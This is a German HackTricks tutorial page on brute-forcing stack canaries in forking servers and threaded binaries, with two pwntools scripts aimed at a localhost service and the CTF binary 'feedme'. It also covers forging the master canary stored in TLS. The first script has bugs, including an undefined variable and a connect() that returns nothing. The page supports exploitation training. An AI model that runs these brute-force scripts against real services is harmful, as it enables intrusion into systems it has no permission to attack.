BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Wenn Sie es mit einer binären Datei zu tun haben, die durch einen Canary und PIE (Position Independent Executable) geschützt ist, müssen Sie wahrscheinlich einen Weg finden, diese zu umgehen.
note
Beachten Sie, dass checksec
möglicherweise nicht erkennt, dass eine binäre Datei durch einen Canary geschützt ist, wenn diese statisch kompiliert wurde und nicht in der Lage ist, die Funktion zu identifizieren.
Sie können dies jedoch manuell feststellen, wenn Sie feststellen, dass ein Wert zu Beginn eines Funktionsaufrufs im Stack gespeichert wird und dieser Wert vor dem Verlassen überprüft wird.
Brute Force Canary
Der beste Weg, einen einfachen Canary zu umgehen, ist, wenn die binäre Datei ein Programm ist, das bei jeder neuen Verbindung Kindprozesse forked, weil bei jeder Verbindung der gleiche Canary verwendet wird.
Der beste Weg, den Canary zu umgehen, besteht dann darin, ihn einfach zeichenweise zu brute-forcen, und Sie können herausfinden, ob das erratene Canary-Byte korrekt war, indem Sie überprüfen, ob das Programm abgestürzt ist oder seinen regulären Ablauf fortsetzt. In diesem Beispiel brute-forced die Funktion einen 8 Bytes Canary (x64) und unterscheidet zwischen einem korrekt erratenen Byte und einem schlechten Byte, indem sie einfach überprüft, ob eine Antwort vom Server zurückgesendet wird (eine andere Möglichkeit in anderen Situationen könnte die Verwendung von try/except sein):
Beispiel 1
Dieses Beispiel ist für 64-Bit implementiert, könnte aber leicht für 32-Bit implementiert werden.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Beispiel 2
Dies ist für 32 Bit implementiert, kann jedoch leicht auf 64 Bit geändert werden.
Beachten Sie auch, dass das Programm zuerst ein Byte erwartet, um die Größe der Eingabe und die Nutzlast anzuzeigen.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Threads desselben Prozesses werden auch das gleiche Canary-Token teilen, daher wird es möglich sein, ein Canary zu brute-forcen, wenn die Binärdatei bei jedem Angriff einen neuen Thread erzeugt.
Darüber hinaus könnte ein Buffer Overflow in einer threaded Funktion, die mit einem Canary geschützt ist, verwendet werden, um das Master-Canary, das im TLS gespeichert ist, zu modifizieren. Das liegt daran, dass es möglich sein könnte, die Speicherposition zu erreichen, an der das TLS gespeichert ist (und damit das Canary) über einen Bof im Stack eines Threads.
Infolgedessen ist die Minderung nutzlos, da die Überprüfung mit zwei Canaries verwendet wird, die gleich sind (obwohl modifiziert).
Dieser Angriff wird im Writeup durchgeführt: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Überprüfen Sie auch die Präsentation von https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015, die erwähnt, dass normalerweise das TLS durch mmap
gespeichert wird und wenn ein Stack eines Threads erstellt wird, es ebenfalls durch mmap
generiert wird, was den Overflow ermöglichen könnte, wie im vorherigen Writeup gezeigt.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call
execve
and jump there.